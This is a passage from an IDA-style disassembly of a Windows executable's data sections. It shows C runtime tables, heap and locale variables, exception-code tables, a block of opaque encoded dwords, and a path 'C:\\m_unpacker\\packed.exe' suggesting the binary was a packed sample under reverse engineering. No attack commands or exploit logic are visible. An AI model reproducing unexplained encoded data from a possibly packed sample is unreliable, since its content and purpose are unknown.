0F884D014h dd 0A00A005h, 78DC612Fh, 43CE40D0h, 2318261Ah, 1281A330h dd 168212Ah, 48E1390Fh, 0E82A171Ch, 4188F905h, 309D842Fh dd 0C02055DFh, 41360B0Fh, 60C8A8ACh, 0BC881E83h, 858561D0h dd 0F00B8E37h, 6079B8BCh, 0B341E089h, 575DE74Ah, 0CB530F1Ah dd 0A8208D4Fh, 0A9DC0AE3h, 4024003Fh, 8E7FFC00h, 2CE3h dd 892h dup(0) dword_612830 dd 25B6h ; DATA XREF: WinMain(x,x,x,x)+Ar dd 5A5Ah a29516 db ' 29516',0 ; DATA XREF: WinMain(x,x,x,x)+6Bo aXx db 'XX',0 align 4 dd offset dword_60BE80 dd offset dword_60BD30 dd 101h, 11Eh, 0Fh, 60C300h, 60BDA8h, 0 dd 1Eh, 0Fh, 0 dd offset dword_60BDB8+68h align 8 dd 13h, 7 off_612880 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_612884 dd 2 ; DATA XREF: __NMSG_WRITE+58r ; __FF_MSGBANNER+Er align 10h dd 10h, 0 dword_612898 dd 2 ; DATA XREF: __NMSG_WRITE:loc_60672Er ; __NMSG_WRITE+3Ar off_61289C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 60CB8Ch, 9, 60CB60h, 0Ah, 60CAC8h, 10h, 60CA9Ch dd 11h, 60CA6Ch, 12h, 60CA48h, 13h, 60CA1Ch, 18h, 60C9E4h dd 19h, 60C9BCh, 1Ah, 60C984h, 1Bh, 60C94Ch, 1Ch, 60C924h dd 1Dh, 60C880h, 78h, 60C86Ch, 79h, 60C85Ch, 7Ah, 60C84Ch dd 0FCh, 60C848h, 0FFh, 60C838h dword_612930 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __XcptFilter+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_6129A8 dd 3 ; DATA XREF: __XcptFilter+84r dword_6129AC dd 7 ; DATA XREF: __XcptFilter+89r dword_6129B0 dd 0Ah ; DATA XREF: __XcptFilter+6r dword_6129B4 dd 8Ch ; DATA XREF: __XcptFilter+B2r ; __XcptFilter+BAw ... dd 0FFFFFFFFh, 0A80h off_6129C0 dd offset asc_60CD68 ; DATA XREF: __ismbcspace:loc_60597Cr ; __isctype+12r ... ; " ((((( H" dd offset dword_60CF68+2 dword_6129C8 dd 1 ; DATA XREF: __ismbcspace:loc_605967r dd 2Eh, 1, 0 byte_6129D8 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 10h dword_6129E0 dd 3A4h ; DATA XREF: __setmbcp:loc_6076E4r dword_6129E4 dd 82798260h ; DATA XREF: __setmbcp+15Cr dd 21h, 0 dword_6129F0 dd 0DFA6h ; DATA XREF: __setmbcp+100r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_612AD0 dd 9B11A94Dh ; DATA XREF: __NMSG_WRITE+Er ; _setSBUpLow+9r ... dword_612AD4 dd 19930520h, 3 dup(0) ; DATA XREF: .text:006080E7o ; __NLG_Notify+2o dd 1, 6 dup(0) ; char *Str Str dd 0 ; DATA XREF: start+11Cw ; __setenvp:loc_606A98r ... align 8 dword_612B08 dd 0 ; DATA XREF: __amsg_exitr start+D2r ... dword_612B0C dd 0 ; DATA XREF: __callnewhr dword_612B10 dd 0 ; DATA XREF: _mallocr ; _calloc:loc_60858Er ... align 10h dword_612B20 dd 2 ; DATA XREF: start+29w ___heap_selectr ... dword_612B24 dd 0A28h ; DATA XREF: start+49w start+5Aw dword_612B28 dd 501h ; DATA XREF: start+65w dword_612B2C dd 5 ; DATA XREF: start+32w ; ___heap_select+9r ... dword_612B30 dd 1 ; DATA XREF: start+3Aw dword_612B34 dd 1 ; DATA XREF: __setargv+8Fw dword_612B38 dd 320B20h ; DATA XREF: __setargv+95w align 10h ; void *Memory Memory dd 320B40h ; DATA XREF: __setenvp+48w ; __setenvp:loc_606B37r ... align 10h off_612B50 dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w ; "C:\\m_unpacker\\packed.exe" align 8 byte_612B58 db 0 ; DATA XREF: _doexit+2Dw align 4 dword_612B5C dd 0 ; DATA XREF: _doexit+27w dword_612B60 dd 0 ; DATA XREF: _doexit+7r _doexit+B0w dword_612B64 dd 0 ; DATA XREF: __FF_MSGBANNER+21r dword_612B68 dd 0 ; DATA XREF: __XcptFilter+68r ; __XcptFilter+73w ... align 10h aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co ; .data:off_612B50o align 4 dd 3Ah dup(0) byte_612C74 db 0 ; DATA XREF: __setargv+23w align 4 dword_612C78 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r ; ___crtGetEnvironmentStringsA+24w ... dword_612C7C dd 1 ; DATA XREF: ___crtGetStringTypeA+Er ; ___crtGetStringTypeA+2Ew ... dword_612C80 dd 1 ; DATA XREF: __setmbcp+19w ; __setmbcp+21w ... dword_612C84 dd 0 ; DATA XREF: ___crtMessageBoxA+9r ; ___crtMessageBoxA+38w ... dword_612C88 dd 0 ; DATA XREF: ___crtMessageBoxA+4Dw ; ___crtMessageBoxA:loc_607D2Er dword_612C8C dd 0 ; DATA XREF: ___crtMessageBoxA+5Bw ; ___crtMessageBoxA+D6r dword_612C90 dd 0 ; DATA XREF: ___crtMessageBoxA+7Bw ; ___crtMessageBoxA:loc_607CE9r dword_612C94 dd 0 ; DATA XREF: ___crtMessageBoxA+6Cw ; ___crtMessageBoxA+9Cr dword_612C98 dd 0 ; DATA XREF: __ValidateEH3RN:loc_60818Dr ; __ValidateEH3RN+13Fr ... align 10h dword_612CA0 dd 0 ; DATA XREF: __ValidateEH3RN:loc_6081A0r ; __ValidateEH3RN+1C4r ... dd 0Fh dup(0) dword_612CE0 dd 3 dup(0) ; DATA XREF: __ValidateEH3RN+12Co ; __ValidateEH3RN+191o ... ; int dword_612CEC dword_612CEC dd 0 ; DATA XREF: __isctype+50r ; ___crtGetStringTypeA+14Ar ... dd 3 dup(0) ; int dword_612CFC dword_612CFC dd 0 ; DATA XREF: __isctype+59r ; ___crtGetStringTypeA+75r ... dd 0 dword_612D04 dd 1 ; DATA XREF: ___crtLCMapStringA+Er ; ___crtLCMapStringA+31w ... dword_612D08 dd 0 ; DATA XREF: ___security_error_handler+17r ; int dword_612D0C dword_612D0C dd 0 ; DATA XREF: __ismbcspace+37r ; _setSBCS+1Aw ... dword_612D10 dd 0 ; DATA XREF: __ismbcspace+21r ; _setSBCS+15w ... align 10h byte_612D20 db 0 ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_612D21 db 0 ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h ; int dword_612E24 dword_612E24 dd 4E4h ; DATA XREF: __ismbcspace+40r ; _setSBCS+10w ... align 10h dword_612E30 dd 4 dup(0) ; DATA XREF: _setSBCS+1Fo ; __setmbcp+162o ... byte_612E40 db 0 ; DATA XREF: _setSBUpLow:loc_6075EFw ; _setSBUpLow:loc_60760Cw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_612F40 dd 20h ; DATA XREF: __ioinit+1Fw ; __ioinit:loc_606F06r ... dd 7 dup(0) dword_612F60 dd 320650h ; DATA XREF: __ioinit:loc_606E97w ; __ioinit+3Cr ... dword_612F64 dd 3Fh dup(0) ; DATA XREF: __ioinit+91o dword_613060 dd 1 ; DATA XREF: __setenvp+9Fw dword_613064 dd 32075Ch ; DATA XREF: _doexit+3Er ; _doexit:loc_606659r ... ; void *dword_613068 dword_613068 dd 320758h ; DATA XREF: _doexit+34r _doexit+5Ar ... dword_61306C dd 1 ; DATA XREF: __wincmdln+4r ; __setenvp+3r ... dword_613070 dd 0 ; DATA XREF: __cinitr ; void *dword_613074 dword_613074 dd 0 ; DATA XREF: ___sbh_heap_init+21w ; ___sbh_free_block+21Cr ... dword_613078 dd 0 ; DATA XREF: ___sbh_heap_init+28w ; ___sbh_find_blockr ... dword_61307C dd 0 ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... dword_613080 dd 0 ; DATA XREF: __heap_alloc+Er ; ___sbh_heap_init+36w ... dword_613084 dd 0 ; DATA XREF: ___sbh_heap_init+2Fw ; ___sbh_free_block+300w ... dword_613088 dd 0 ; DATA XREF: ___sbh_heap_init+3Cw ; ___sbh_alloc_new_region+5r ... dword_61308C dd 0 ; DATA XREF: ___sbh_free_block+229r ; ___sbh_free_block+249r ... dword_613090 dd 320000h ; DATA XREF: __heap_alloc+38r ; _free+2Ar ... dword_613094 dd 1 ; DATA XREF: __heap_allocr ; __heap_alloc:loc_605663r ... dword_613098 dd 142340h ; DATA XREF: start+112w ; __wincmdln:loc_606A3Ar ... _data ends ; Section 4. (virtual address 00014000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00013200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 614000h dd 80h dup(0) align 1000h _idata2 ends end start